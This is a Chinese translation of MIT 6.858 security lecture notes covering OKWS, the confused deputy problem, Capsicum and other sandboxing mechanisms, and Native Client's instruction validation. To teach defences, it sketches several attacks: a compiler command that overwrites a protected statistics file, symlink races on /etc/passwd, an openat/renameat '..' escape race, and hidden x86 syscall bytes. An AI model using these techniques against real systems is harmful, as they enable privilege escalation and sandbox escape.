      • 受损组件可能会发出查询。
  • 表 1:为什么所有服务和okld都在同一个 chroot 中?

    • 这是一个问题吗?

    • 我们如何决定?

      • 那里有哪些可读写文件?
    • 可读性:包含服务代码的共享库。

    • 可写:每个服务都可以写入自己的/cores/<uid>

    • 配置文件在哪里?/etc/okws_config,由okld保存在内存中。

    • oklogdpubd有单独的 chroots,因为它们具有重要状态:

      • oklogd的 chroot 包含日志文件,希望确保它没有被修改。

      • pubd的 chroot 包含模板,希望避免泄露它们(?)。

  • 为什么 OKWS 需要为每个服务单独的 GID?

    • 需要执行二进制文件,但文件所有权允许 chmod。

    • 解决方案:二进制文件由 root 所有,服务是组所有者,模式 0410。

    • 为什么是 0410(用户读取,组执行),而不是 0510(用户读取和执行)?

  • 为什么不按用户处理?

    • 每个用户是否严格更好?

    • 用户 X 服务?

    • 对于 okcupid 来说,每个服务的隔离可能是有道理的。

      • (即,也许他们需要在用户之间进行大量共享?)
    • 每个用户隔离需要为每个用户分配 UID,使okld变得复杂。

      • 并降低性能(尽管对于某些用例可能仍然可以接受)。

OKWS 是否实现了其目标?

  • OKWS 解决了典型 Web 攻击列表中的哪些攻击,以及如何解决?

    • 除了 XSS 之外的大多数问题都已解决。

    • 通过使用专门的模板例程,XSS 在某种程度上得到解决。

  • 每个组件被损坏的影响是什么,以及“攻击面”是什么?

    • okld:对 Web 服务器机器的根访问权限,但也许没有对数据库的访问权限。

      • 攻击面:很小(除了 svc 退出之外没有用户输入)。
    • okd:拦截/修改所有用户 HTTP 请求/响应,窃取密码。

      • 攻击面:解析 HTTP 请求的第一行;控制请求。
    • pubd:损坏模板,利用可能利用某些服务中的错误?

      • 攻击面:从 okd 获取模板的请求。
    • oklogd:损坏/忽略/删除/伪造日志条目。

      • 攻击面:来自 okd、okld、svcs 的日志消息。
    • service:向用户发送垃圾,访问 svc 的数据(模块化 dbproxy)。

      • 攻击面:来自用户的 HTTP 请求(+来自 okd 的控制消息)。
    • dbproxy:访问/更改其所连接的数据库中的所有用户数据。

      • 攻击面:来自授权服务的请求。

        • 未经授权服务的请求(易于丢弃)。
  • 一旦单个服务被损坏,操作系统内核就成为攻击面的一部分。

    • Linux 内核漏洞很少见,但每年仍然会出现几次。
  • OKWS 假设开发人员在设计层面做正确的事情(也许在实现层面不是):

    • 将 Web 应用程序拆分为单独的服务(而不是全部放在一个服务中)。

    • 为 DB 代理定义精确的协议(否则任何服务都可以获取任何数据)。

  • 性能?

    • 似乎比大多数替代方案更好。

    • 在负载下性能更好(因此在一定程度上抵抗 DoS 攻击)

  • OKWS 与 Apache 相比如何?

    • 总体而言,更好的设计。

    • okld以 root 身份运行,与 Apache 中没有任何东西相比,但可能不重要。

    • 两者都没有很好的解决客户端漏洞(XSS 等)

  • 对手如何试图破坏类似 OKWS 系统?

    • 利用 C++代码中的缓冲区溢出或其他漏洞。

    • 在某个dbproxy中找到 SQL 注入攻击。

    • 在服务代码中找到逻辑错误。

    • 发现跨站脚本漏洞。

OKWS 有多成功?

  • 论文中描述的问题仍然相当普遍。

  • okcupid.com 仍在运行 OKWS,但似乎没有被其他网站使用。

  • C++可能不是编写 Web 应用程序的好选择。

    • 对于许多 Web 应用程序,获得 C++性能可能并不关键。

    • 设计应该适用于其他语言(Python 等)。

    • 实际上,6.858 实验室中的zookws受 OKWS 启发,运行 Python 代码。

  • 对于典型的 Web 应用程序,DB 代理的想法并没有起飞。

    • 但是 DB 代理对于限制服务可以访问的数据至关重要。

    • 为什么?

      • 需要开发人员定义这些 API:额外的工作,会妨碍。
    • 很难提前精确定义允许的 DB 查询。

      • (尽管如果很困难,可能是安全策略模糊的标志。)
  • Apache 的特权分离工作(尽管仍然难以使用)。

    • Unix 使非根用户难以操作用户 ID。

    • 性能是一个问题(为每个请求运行一个单独的进程)。

  • scripts.mit.edu有类似的设计,以不同的 UID 运行脚本。

    • 主要担心将用户相互隔离。

    • 偏执的 Web 应用程序开发人员可以为每个组件创建单独的锁。

  • 敏感系统在更粗粒度上进行分区。

    • 信用卡处理公司将信用卡数据与其他所有数据分开。

    • 使用虚拟机或物理机器隔离来分割应用程序、数据库等。

你如何将现代 Web 应用程序框架与 OKWS 集成?

  • 需要帮助 okd 找出如何将请求路由到服务。

  • 需要实现 DB 代理,或其变体,以保护数据。

    • 取决于应用代码对静态分析的适应性。

    • 或者需要要求程序员为服务注释可以运行的查询。

  • 需要确保应用代码可以在单独的进程中运行(可能没问题)。

参考资料

能力和其他保护机制

注意: 这些讲座笔记是从 2014 年 6.858 课程网站 上发布的笔记稍作修改而来。

混淆的副手问题

"混淆的副手"的作者遇到了什么问题?

  • 他们的系统有一个 Fortran 编译器,/sysx/fort(Unix 文件名语法)

  • 他们希望 Fortran 编译器记录使用统计信息,但在哪里?

    • 创建了一个特殊的统计文件,/sysx/stat

    • 给了/sysx/fort“家庭文件许可证”(类似于关于/sysx 的 setuid)

  • 出了什么问题?

    • 用户可以调用编译器,要求将输出写入/sysx/stat

      • 例如/sysx/fort /my/code.f -o /sysx/stat
    • 编译器打开提供的路径名,并成功,因为它的许可证。

    • 用户本身不能写入那个/sysx/stat文件。

  • 为什么/sysx/fort只是编译器中的一个错误?

    • 原则上,可以通过在各个地方添加检查来解决这个问题。

    • 问题:需要在几乎所有打开文件的地方添加检查。

    • 完全正确的代码一旦成为 setuid 二进制文件的一部分就会变得有 bug。

  • 那么什么是“混淆的副手”?

    • 编译器代表两个主体运行:

      • 用户主体(用于打开用户的文件)

      • 编译器主体(用于打开编译器的文件)

    • 不清楚在任何给定时间应该使用主体权限。

我们能在 Unix 中解决这个混淆的副手问题吗?

  • 假设 gcc 想要在/etc/gcc.stats中保留统计信息

  • 可以有一个特殊的 setuid 程序,只能写入该文件

    • 不太方便:不能像打开其他文件那样简单地打开文件。
  • 如果我们让 gcc 成为某个非根用户(统计文件所有者)的 setuid,会怎样?

    • 难以访问用户的原始文件。
  • 如果 gcc 是 setuid-root?(坏主意,但让我们弄清楚为什么..)

    • 大量潜在的缓冲区溢出可能导致 root 访问权限。

    • 需要在 gcc 可能打开文件的每个地方进行检测。

  • 当 gcc 打开文件时,我们应该执行什么检查?

    • 如果是“内部”文件(例如/etc/gcc.stats),也许不需要检查。

    • 如果是用户提供的文件,需要确保用户可以访问它。

    • 可以查看相关文件的权限。

    • 还需要检查导致该文件的目录的权限。

  • 潜在问题:竞争条件。

    • 如果文件在我们检查和使用之间发生更改会怎么样?

    • 常见的漏洞:攻击者用符号链接替换合法文件

    • 符号链接可能指向,比如/etc/gcc.stats,或/etc/passwd,或...

    • 被称为“检查时间到使用时间”的错误(TOCTTOU)。

对这个问题有几种可能的思考方式:

  1. 环境权限: 进程自动使用的权限是问题所在。任何权限都不应该自动使用。对象的名称也应该是访问它的权限。

  2. 复杂的权限检查: 特权应用程序难以复制。通过简化的检查,特权应用程序可能能够正确检查另一个用户是否应该访问某个对象。

什么是环境权限的例子?

  • Unix 用户 ID,组 ID。

  • 防火墙(IP 地址与访问权限)

  • HTTP cookies(例如,访问 http://gmail.com 这样的 URL)

通过能力给对象命名有什么帮助?

  • 传递文件描述符而不是传递文件名。

  • 除非调用者被授权打开该文件,否则无法传递有效的 FD。

我们能否使用文件描述符解决通过 setuid gcc 设置的问题?

  • 类似:可以使编译器仅通过 FD 传递接受文件。

  • 或者,可以创建一个 setuid 辅助程序,打开/etc/gcc.stats文件,将一个打开的文件描述符传递回我们的编译器进程。

  • 然后,可以继续像处理任何其他文件一样使用这个打开的文件。

  • 如何确保只有 gcc 可以运行这个辅助程序?

    • 使 gcc 设置为某个特殊组的 setgid。

    • 使辅助程序仅对该特殊组可执行。

    • 确保该组没有其他授予的特权。

Capsicum 作者试图通过能力解决什么问题?

  • 在各种应用程序中降低不可信代码的特权。

  • 总体计划:

    • 将应用程序分解为较小的组件。

    • 减少最容易受攻击的组件的特权。

    • 仔细设计接口,以便一个组件无法危害另一个组件。

  • 为什么这么困难?

    • 在传统的 Unix 系统中难以降低代码的特权(“沙盒”)。

    • 难以为沙盒化代码提供有限的访问权限(对文件、网络等)。

什么样的应用程序可能会使用沙盒化?

OKWS

  • 处理网络输入的程序:

    • 将输入处理代码放入沙盒中。
  • 复杂操作数据的程序:(gzip,Chromium,媒体编解码器,浏览器插件,...)

    • 将复杂(且可能有错误)的部分放入沙盒中。
  • 从互联网下载的任意程序怎么样?

    • 稍微不同的问题:需要隔离未修改的应用程序代码。

    • 一个选择:程序员编写他们的应用程序以在沙盒中运行。

      • 在某些情况下有效:Javascript,Java,Native Client,...

      • 需要在沙盒代码上制定一个环境标准。

    • 另一个选择:对现有代码施加新的安全策略。

      • 可能需要保留程序员正在使用的所有 API。

      • 需要对现有 API 施加检查,在那种情况下。

      • 不清楚访问文件、网络等的策略应该是什么。

  • 希望避免被欺骗误用特权的应用程序?

    • 假设两个 Unix 用户,Alice 和 Bob,正在某个项目上工作。

    • 两者都在某个组G中,并且项目dir允许该组访问。

    • 假设 Alice 从项目目录向某人发送一个文件。

    • 风险:Bob 可能用符号链接替换文件为 Alice 的私人文件。

    • Alice 的进程将隐式使用 Alice 的环境特权来打开。

    • 可以将这看作对单个文件操作进行沙盒化。

有哪些沙盒化计划(机制)存在(优势,限制)?

  • 操作系统通常提供某种安全机制(“原语”)。

    • 例如,在 Unix 中的用户/组 ID,正如我们在上一堂课中看到的。
  • 今天,我们将研究操作系统级别的安全原语/机制。

    • 当您关心保护操作系统管理的资源时通常是一个很好的选择。

    • 例如,文件,进程,粗粒度内存,网络接口等。

  • 许多操作系统级别的沙箱机制在进程级别工作。

    • 适用于可以作为一个单元进行隔离的整个进程。

    • 可能需要重新设计应用程序以创建用于隔离的进程。

  • 其他技术可以提供更细粒度的隔离(例如,在 proc 中的线程)。

    • 语言级别的隔离(例如,Javascript)。

    • 二进制仪器化(例如,Native Client)。

    • 为什么我们需要这些其他的沙箱技术?

      • 更容易控制对非操作系统/更细粒度对象的访问。

      • 或者也许可以以与操作系统无关的方式进行沙箱化。操作系统级别的隔离通常与更细粒度的隔离结合使用。

      • 更细粒度的隔离通常很难做到正确(Javascript,NaCl)。例如,Native Client 同时使用了细粒度沙箱和操作系统级别的沙箱。

    • 将在后续讲座中更详细地讨论这些问题。

计划 0:虚拟化所有内容(例如,VMs)。

  • 在虚拟化环境中运行不可信代码。

  • 许多示例:x86 qemu,FreeBSD jails,Linux LXC,..

  • 几乎是一种不同类别的机制:严格隔离。

  • 优势:VM 内部的沙箱代码几乎与外部没有交互。

  • 优势:可以沙箱未经修改的代码,不期望被隔离。

  • 优势:一些 VM 可以由任意用户启动(例如,qemu)。

  • 优势:通常与其他隔离技术可组合,提供额外层次。

  • 缺点:难以允许一些共享:没有共享进程,管道,文件。

  • 缺点:虚拟化所有内容通常会使 VM 相对较重。

    • 每个沙箱都会带来非常重要的 CPU/内存开销。

计划 1:自主访问控制(DAC)。

  • 每个对象都有一组权限(访问控制列表)。

    • 例如,Unix 文件,Windows 对象。

    • “自主”意味着应用程序在对象上设置权限(例如,chmod)。

  • 每个程序都以某些主体的权限运行。

    • 例如,Unix 用户/组 ID,Windows SIDs。
  • 当程序访问对象时,检查程序的权限以决定。

“环境特权”:每次访问都隐式使用的权限。

 Name              Process privileges
     |                       |
     V                       V
   Object -> Permissions -> Allow? 
  • 如何在 DAC 系统上(例如,Unix)沙箱化程序?

    • 必须分配一个新的主体(用户 ID):

      • 否则,现有主体的权限将被隐式使用!
    • 防止进程读取/写入其他文件:

      • 在整个文件系统上更改权限?繁琐,不切实际,需要 root 权限。

      • 即使如此,新程序也可以创建重要的可全球写入文件。

      • 替代方案:chroot(同样,必须是 root)。

    • 允许进程读/写某个文件:

      • 如果可能的话,适当设置文件的权限。

      • 将文件链接/移动到沙箱的chroot目录中?

    • 防止进程访问网络:

      • Unix 中没有真正的答案。

      • 可能配置防火墙?但不是真正针对进程的。

    • 允许进程访问特定的网络连接:

      • 如上所述,在 Unix 中没有很好的计划。
    • 控制沙盒可以杀死 / 调试 / 等的进程:

      • 可以在相同的 UID 下运行,但可能特权太多。

      • 该 UID 也可能具有其他特权..

  • 问题:在大多数 DAC 系统上,只有 root 可以创建新的主体。

    • 例如,Unix,Windows。
  • 问题:一些对象可能没有明确可配置的访问控制列表。

    • Unix:进程,网络,..
  • 问题:文件上的权限可能与沙盒所需的策略不匹配。

    • 可以通过使用chroot对文件进行某种程度的解决,但很麻烦。
  • 相关问题:使用子特权执行某些操作。

    • 回想一下 Alice 通过电子邮件将文件发送到共享组目录的示例。

      • “混淆副手问题”:程序是多个主体的“副手”。
    • 一个解决方案:检查组权限是否允许访问(手动,容易出错)。

    • 替代方案:明确为每个操作指定特权。

      • 权限可以帮助:能力(例如,fd)结合了对象 + 特权。

      • 一些 Unix 功能与纯能力设计不兼容(按名称创建符号链接)。

计划 2:强制访问控制(MAC)。

  • 在 DAC 中,安全策略由应用程序自身设置(chmod 等)。

  • MAC 试图帮助用户/管理员为应用程序指定策略。

    • “强制”意味着应用程序无法更改此策略。

    • 传统的 MAC 系统试图强制执行军事机密级别。

示例:确保绝密程序无法泄露机密信息。

 Name    Operation + caller process
     |               |
     V               V
   Object --------> Allow?
                     ^
                     |
   Policy -----------+ 
  • 注意:许多系统在其中具有 DAC + MAC 的方面。

    • 例如,Unix 用户 ID 是“DAC”,但可以争论防火墙是“MAC”。

    • 并不重要--了解设计空间中的极端点是很好的。

  • Windows 强制完整性控制(MIC)/ FreeBSD 中的 LOMAC。

    • 为每个进程跟踪“完整性级别”。

    • 文件与其关联的最低完整性级别。

    • 进程无法写入高于其完整性级别的文件。

      • Windows Vista 中的 Internet Explorer 以低完整性运行,无法覆盖系统文件。
    • FreeBSD LOMAC 还跟踪进程读取的数据。

      • (类似于许多基于信息流的系统。)

      • 当进程读取低完整性数据时,它也变得低完整性。

      • 传递性,防止对手间接篡改文件。

    • 对于沙盒化不是立即有用:只有固定数量的级别。

  • SElinux

    • 想法:系统管理员指定系统范围的安全策略。

    • 策略文件指定是否应允许或拒绝每个操作。

    • 为了帮助决定是否允许/拒绝,文件标记为“类型”。

      • (另一个整数值,与 inode 中的 uid、gid 等一起存储。)
  • Mac OS X 沙盒(“Seatbelt”)和 Linux seccomp_filter

    • 应用程序为是否允许/拒绝每个系统调用指定策略。

      • (在 MacOSX 的机制中用 LISP 编写,或者在 Linux 中用 BPF 编写。)
    • 根据参数确定系统调用的安全影响可能很困难。

      • 路径名指的是什么?符号链接,硬链接,竞争条件,..

      • (尽管 MacOSX 的沙盒提供了更多信息)

    • 优势: 任何用户都可以对任意代码片段进行沙盒化!

    • 限制: 程序员必须分别编写策略和应用代码。

    • 限制: 有些操作只能以粗粒度进行过滤。

      • 例如,在 MacOSX 的过滤语言中的 POSIX shm,根据 Capsicum 论文。
    • 限制:策略语言可能使用起来很尴尬,无状态等。

      • 例如,如果应用程序应该与某个服务器建立精确的一个连接?
    • 注意: seccomp_filter 与常规/旧版 seccomp 有很大不同,而 Capsicum 论文讨论的是常规/旧版 seccomp

  • 将策略与应用代码分离是否是个好主意?

    • 取决于总体目标。

    • 如果用户/管理员想查看或更改策略,可能会很有用。

    • 如果应用程序开发人员需要同时维护代码和策略,这将成为问题。

    • 对应用程序开发人员来说,可能有助于澄清策略。

    • 较少集中的“MAC”系统(Seatbelt、seccomp)提供了一种折衷方案。

  • 待办事项: 还要看看《赛里斯墙安全策略》

计划 3:能力(Capsicum)。

  • 不同的访问控制计划:能力。

    • 如果进程有某个对象的句柄(“能力”),就可以访问它。

      • 能力 --> 对象
    • 没有特权、访问控制列表、策略等的单独问题。

      • 例如:Unix 上的文件描述符是文件的能力。

      • 程序无法制造未经合法获取的文件描述符。

        • 为什么不? 操作系统创建和管理文件描述符。应用程序无法伪造文件描述符。它必须通过漏洞写入操作系统内存。
      • 一旦文件打开,就可以访问它;检查发生在打开时。

      • 可以将打开的文件传递给其他进程。

        • 文件描述符也有助于解决“检查时间与使用时间”(TOCTTOU)漏洞。
    • 能力通常是短暂的:不是磁盘上的 inode 的一部分。

      • 启动程序的任何内容都需要每次重新创建能力。
  • 全局命名空间

    • 为什么这些人如此着迷于消除全局命名空间?

    • 全局命名空间需要一些访问控制策略(例如,环境权限)。

    • 难以控制沙盒对全局命名空间中对象的访问。

  • 内核更改

    • 只是为了再次确认:为什么我们需要内核更改?

      • 我们能否将所有内容都实现在一个库中(并通过 LD_PRELOAD 加载)?

      • 需要操作系统在进入能力模式后拒绝应用程序访问全局命名空间

    • 将更多内容表示为文件描述符:进程(pdfork)。

      • 一般来说是个好主意。
    • 能力模式: 一旦进程进入 cap 模式,就无法离开(包括所有子进程)。

    • 在能力模式下,只能使用文件描述符 -- 没有全局命名空间。

      • 不能通过完整路径名打开文件:不需要像 OKWS 中的 chroot

      • 仍然可以通过相对路径名打开文件,给定目录的 fd(openat)。

    • 不能在路径名或符号链接中使用“..”:为什么?

      • 原则上,“..” 可能没问题,只要“..” 不走得太远。

      • 难以正确执行。

      • 假设设计:

        • 禁止在根能力中查找“..”。

        • 路径名中的非“..”组件不得比“..”多,忽略“.”。

        • 假设一个进程对 /foo 拥有能力 C1

        • 在单个进程中的竞争条件,有 2 个线程:

竞争条件示例:

 T1: mkdir(C1, "a/b/c")
    T1: C2 = openat(C1, "a")
    T1: C3 = openat(C2, "b/c/../..")   # should return a cap for /foo/a
        Let openat() run until it's about to look up the first ".."

    T2: renameat(C1, "a/b/c", C1, "d")

    T1: Look up the first "..", which goes to "/foo"
        Look up the second "..", which goes to "/" 
  • ...

    • Unix 权限仍然适用吗?

      • 是的 -- 仅因为你对目录有一个 cap,就不能访问目录中的所有文件。

      • 但意图是沙盒不应依赖 Unix 权限。

    • 对于文件描述符,添加一个存储允许操作的包装对象。

    • 内核在哪里检查能力?

      • 内核中的一个函数查找 fd 号码 -- 修改它以检查能力。

      • 还修改了查找路径名的 namei 函数。

      • 良好实践: 寻找窄接口,否则容易忽略检查。

  • libcapsicum

    • 应用程序开发人员为什么需要这个库?

    • 最大的功能:在沙盒中启动新进程。

  • fd 列表

    • 主要是将大量文件描述符传递给子进程的便捷方式。

    • 通过字符串命名文件描述符,而不是硬编码的 fd 号码。

  • cap_enter() vs lch_start()

    • 使用 exec 而不是 cap_enter 进行沙盒化的优势是什么?

    • 内存中的残留数据:例如 OpenSSL/OpenSSH 中的私钥。

    • 应用程序忘记关闭的残留文件描述符。

    • 论文中的图 7:tcpdumpstdinstdoutstderr 上具有特权。

    • 论文中的图 10:dhclient 具有原始套接字,syslogd 管道,租约文件。

  • 优点: 任何进程都可以创建一个新的沙盒。

    • (即使沙盒也可以创建沙盒。)
  • 优点: 对资源访问的细粒度控制(如果它们映射到 FD)。

    • 文件、网络套接字、进程。
  • 缺点: 对持久文件访问跟踪的故事较弱。

  • 缺点: 禁止全局命名空间,需要以不同方式编写代码。

替代性的能力设计:纯能力为基础的操作系统(KeyKOS 等)。

  • 内核只提供消息传递服务。

  • 消息传递通道(非常类似文件描述符)是能力。

  • 每个应用程序都必须以能力样式编写。

  • Capsicum 声称更加务实:一些应用程序无需更改。

Linux 能力:解决不同的问题。

  • 尝试将根的特权划分为更细粒度的特权。

  • 由各种能力表示:CAP_KILL, CAP_SETUID, CAP_SYS_CHROOT, ..

  • 进程可以以特定能力运行,而不是以 root 的所有特权。

  • 参考:capabilities(7)

在应用程序中使用 Capsicum

  • 计划: 确保沙盒化进程不使用路径名或其他全局 NS。

    • 对于可能需要访问的每个目录,提前打开 FD。

    • 要打开文件,请使用从这些目录 FD 开始的 openat()

      • .. 打开大量文件的程序可能会很麻烦。
  • tcpdump

    • 2 行版本:在打开所有 FD 后只需 cap_enter()

    • 使用 procstat 查看生成的能力。

    • 8 行版本:还限制 stdin/stdout/stderr

    • 为什么?避免读取 stderr 日志,更改终端设置,...

  • dhclient

    • 已经进行了特权分离,使用 Capsicum 来加强沙盒(2 行)。
  • gzip

    • 分叉/执行沙盒化的子进程,通过管道使用 RPC 向其提供数据。

    • 非平凡的更改,主要是为了为 RPC 编组/解组数据:409 行代码。

    • 有趣的错误:一开始忘记传播压缩级别。

  • Chromium

    • 在其他平台上已经进行了特权分离(但在 FreeBSD 上没有)。

    • ~100 行代码用于为沙盒化进程包装文件描述符。

  • OKWS

    • 家庭作业问题有哪些不同的答案?

Capsicum 是否实现了其目标?

  • 使用起来有多难/容易?

    • 在应用程序中使用 Capsicum 几乎总是需要应用程序更改。

      • (许多应用程序倾向于通过路径名打开文件等。)

      • 一个例外:Unix 管道应用程序(过滤器)只操作 FD。

    • 对通过 FD 处理数据的流式应用程序更容易。

    • 其他隔离需要类似的更改(例如,dhclient,Chromium)。

    • 对于现有应用程序,延迟初始化似乎是一个问题。

      • 没有通用解决方案——要么更改代码,要么早期初始化。
    • 建议的计划:沙盒化并查看哪些地方出问题。

      • 可能会有微妙之处:gzip压缩级别错误。
  • 它提供了哪些安全保证?

    • 提供给应用程序开发人员的保证:沙盒只能在打开的 FD 上操作。

    • 结果取决于应用程序开发人员如何划分应用程序、FD。

    • 用户/管理员无法从 Capsicum 获得任何直接保证。

    • 保证假设 FreeBSD 内核没有错误(大量代码),并且 Capsicum 开发人员捕获了所有通过 FD 而非资源访问的方式。

  • 性能开销是多少?(CPU,内存)

    • 访问文件描述符的轻微开销。

    • 使用fork/exec设置沙盒需要花费O(1msec),非平凡的。

    • 特权分离可能需要 RPC / 消息传递,可能会引起注意。

  • 采用情况?

    • 在 FreeBSD 的内核中,现在默认启用(从 FreeBSD 10 开始)。

    • 少数应用程序已经修改为使用 Capsicum。dhclienttcpdump,自论文撰写以来还有几个。参考

    • Casper 守护程序帮助应用程序执行非能力操作。例如,DNS 查找,查找/etc/passwd中的条目等。参考

    • Capsicum 已经移植到 Linux(但不在上游内核存储库中)。

有哪些应用程序不适合 Capsicum?

  • 需要控制对非内核管理对象的访问的应用程序。

    • 例如:X 服务器状态,DBus,在 Web 浏览器中的 HTTP 来源等。

    • 例如:需要确保 DB 文件格式正确的数据库服务器。

    • Capsicum 将管道视为用户级服务器(例如,X 服务器)的一个能力。

  • 需要从沙盒连接到特定的 TCP/UDP 地址/端口的应用程序。

    • Capsicum 通过仅允许对现有打开的 FD 进行操作来工作。

    • 需要其他机制来控制可以打开哪些 FD。

    • 可能的解决方案:辅助程序可以在能力模式之外运行,根据策略为沙盒化程序打开 TCP/UDP 套接字。

参考

本地客户端

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站

本文的目标是什么?

  • 当时,浏览器只允许任何网页运行 JS(+Flash)代码。

  • 希望允许 Web 应用程序在用户的计算机上运行本机(例如,x86)代码。

    • 不想在服务器上运行复杂代码。

    • 需要大量服务器资源,为用户带来高延迟。

  • 这有什么用?

    • 性能。

    • 除 JS 外的其他语言。

    • 传统应用程序。

  • 实际上正在现实世界中使用。

    • 作为 Google Chrome 的一部分发布:NaCl 运行时是浏览器扩展。

    • 网页可以像 Flash 程序一样运行 NaCl 程序。

    • Javascript 可以通过传递消息与 NaCl 程序交互。

    • NaCl 还为一些其他用例提供了强大的沙盒功能。

  • 核心问题:沙盒化 x86 代码。

使用本地客户端:

  • https://developers.google.com/native-client/

    • 安装浏览器插件

    • 使用 Nacl 工具更改以编译 C 或 C++程序。

    • 对可以使用的系统调用有限制。

    • 示例应用程序:游戏(不需要太多系统支持)

    • 与浏览器交流的特殊接口(在发布中称为 Pepper)

    • 制作一个包含 Nacl 模块的网页:

    <embed name="nacl_module" id="hello_world" width=0 height=0 src="hello_world.nmf" type="application/x-nacl" />

    • 模块是“受控”的 x86 代码。

快速演示:

% urxvt -fn xft:Monospace-20
% export NACL_SDK_ROOT=/home/nickolai/tmp/nacl_sdk/pepper_35
% cd ~/6.858/git/fall14/web/lec/nacl-demo
## this is from NaCl's tutorial part1
% vi hello.cc
% vi index.html
% make
% make serve
## copy-paste and add --no-dir-check as the error message asks
## visit http://localhost:5103/
## change hello.cc to "memset(buf, 'A', 1024);"
% make
% !python
## visit http://localhost:5103/
## ctrl-shift-J, view console 

有哪些安全运行 x86 代码的选项?

方法 0: 信任代码开发者。

  • ActiveX,浏览器插件,Java 等。

  • 开发者用私钥签署代码。

  • 要求用户决定是否信任某些开发者的代码。

  • 用户很难做出这样的决定(例如,使用 ActiveX 代码)。

    • 适用于已知开发者(例如,由 MS 签名的 Windows 更新代码)。

    • 不清楚如何回答未知的 Web 应用程序(除了“否”)。

  • 本地客户端的目标是强制执行安全性,避免询问用户。

方法 1: 硬件保护/操作系统沙盒。

  • 与我们已经阅读过的一些想法类似的计划:OKWS,Capsicum,VMs,..

  • 将不受信任的代码作为常规用户空间程序或单独的 VM 运行。

  • 需要控制不受信任的代码可以调用的系统调用。

    • Linux:seccomp。

    • FreeBSD:Capsicum。

    • MacOSX:Seatbelt。

    • Windows:不清楚存在哪些选项。

  • 本地客户端使用这些技术,但仅作为备用计划。

  • 为什么不直接依赖操作系统的沙盒功能?

    • 每个操作系统可能会施加不同的,有时是不兼容的要求。

      • 系统调用以分配内存,创建线程等。

      • 虚拟内存布局(Windows 中的固定地址共享库?)。

    • 操作系统内核漏洞相当常见。

      • 允许不受信任的代码逃离沙盒。
    • 并非每个操作系统都可能具有足够的沙盒机制。

      • 例如,在 Windows 上,没有特殊的内核模块,不清楚该怎么做。

      • 一些沙盒机制需要 root 权限:不想以 root 身份运行 Chrome。

    • 硬件可能存在漏洞(!)。

      • 作者声称某些指令恰好会使硬件挂起。

      • 如果访问网站可能导致计算机挂起,那将是不幸的。

方法 2:软件故障隔离(本地客户端的主要沙箱计划)。

  • 给定一个要在本地客户端中运行的 x86 二进制文件,请验证其安全性。

    • 验证涉及检查二进制文件中的每条指令。

    • 一些指令可能总是安全的:允许。

    • 一些指令可能有时是安全的。

      • 软件故障隔离的方法是在这些指令之前要求进行检查。

      • 必须确保检查在验证时存在。

      • 另一个选项:通过二进制重写插入检查。

      • 在 x86 上很难做到,但在更高级别的语言中可能更容易。

    • 一些指令可能不值得安全化:禁止。

  • 验证后,可以安全地在与其他受信任代码相同的进程中运行它。

  • 允许沙箱调用受信任的“服务运行时”代码。

    • 论文中的图 2

对于本地客户端模块,安全性意味着什么?

  • 目标#1:不执行任何不允许的指令(例如,syscall,int)。

    • 确保模块不执行任何系统调用。
  • 目标#2:不访问模块边界之外的内存或执行代码。

    • 确保模块不会破坏服务运行时数据结构。

    • 确保模块不会跳转到服务运行时代码,如返回到 libc。

    • 如论文所述,模块代码+数据位于[0..256MB)虚拟地址内。

      • 不需要填充整个 256MB 的虚拟地址空间。
    • 其他所有内容应受到 NaCl 模块的保护。

如何检查模块是否可以执行不允许的指令?

  • 草案:扫描可执行文件,查找“int”或“syscall”操作码。

    • 如果检查通过,可以开始运行代码。

    • 当然,还需要将所有代码标记为只读。

    • 并将所有可写内存标记为不可执行。

  • 复杂性:x86 具有可变长度指令。

    • “int”和“syscall”指令长度为 2 字节。

    • 其他指令可能在 1 到 15 个字节之间。

  • 假设程序的代码包含以下字节:

    • 25 CD 80 00 00
  • 如果从 25 开始解释为指令,它是一个 5 字节指令:

    • AND %eax, $0x000080cd
  • 但如果从 CD 开始解释,它是一个 2 字节指令:

    • INT $0x80 # Linux 系统调用
  • 可以尝试在每个偏移处查找不允许的指令。

    • 可能会产生太多误报。

    • 真实指令可能会意外包含一些“不允许”的字节。

可靠的反汇编

  • 计划:确保代码只执行验证器知道的指令。

    • 我们如何保证这一点?请参考论文中的表 1 和图 3。
  • 从开头开始向前扫描所有指令。

  • 如果我们看到跳转指令,请确保它跳转到我们看到的地址。

  • 静态跳转(常量地址)很容易确保。

  • 无法静态确保计算跳转(从寄存器跳转到地址)。

计算跳转

  • 思路是依赖于运行时插装:在跳转之前添加检查。

  • 对于计算跳转到%eax,NaCl 需要以下代码:

    `AND $0xffffffe0, %eax # 清除最后 4 位(=>只跳转到 32 字节边界)

    JMP *%eax`

  • 这将确保跳转到 32 字节的倍数。为什么是 32 字节?

    • 长度超过最大指令长度

    • 2 的幂

    • 需要适应跳板(稍后见下文)代码

    • 不会更大,因为我们不想为单个指令的跳转目标浪费空间。

  • NaCl 还要求没有指令跨越 32 字节边界。

  • 编译器的工作是确保这两条规则。

    • 用上述的两条指令序列替换每个计算跳转。

    • 如果其他指令可能跨越 32 字节边界,添加 NOP 指令。

    • 如果下一条指令是计算跳转目标,添加 NOP 以填充到 32 字节的倍数。

    • 总是可能的,因为 NOP 指令只有一个字节。

  • 验证器的工作是检查这些规则。

    • 在反汇编过程中,确保没有指令跨越 32 字节边界。

    • 对于计算跳转,确保它在上述的两条指令序列中。

  • 这将保证什么?

    • 验证器检查了所有从 32 字节倍数地址开始的指令。

    • 计算跳转只能到达 32 字节的倍数地址。

  • 是什么阻止模块跳过 AND,直接到 JMP?

    • 伪指令:NaCl 跳转指令永远不会被编译,以便AND部分和JMP部分被 32 字节边界分隔。因此,你永远无法直接跳转到JMP部分。
  • NaCl 如何处理RET指令?

    • 禁止 -- 实际上是一个计算跳转,地址存储在堆栈上。

      • 这是由于一个固有的竞争条件ret指令从堆栈中弹出返回地址,然后跳转到它。 NaCl 可以在弹出之前检查堆栈上的地址,但这里存在 TOCTOU 问题:地址可能会在检查后立即被另一个线程修改。这可能发生是因为返回地址在内存中,而不在寄存器中。
    • 相反,编译器必须生成显式的 POP + 计算跳转代码。

表 1 中的规则在论文中为什么是必要的?

  • C1:内存中的可执行代码不可写。

  • C2:二进制在零处静态链接,代码从 64K 开始。

  • C3:所有计算跳转使用上述的两条指令序列。

  • C4:二进制被填充到页面边界,其中包含一个或多个 HLT 指令。

  • C5:没有指令,或者我们特殊的两条指令对,可以跨越 32 字节。

  • C6/C7:从起始位置通过顺序反汇编可到达的所有跳转目标。

作业问题: 如果验证器得到了一些指令长度错误,会发生什么?

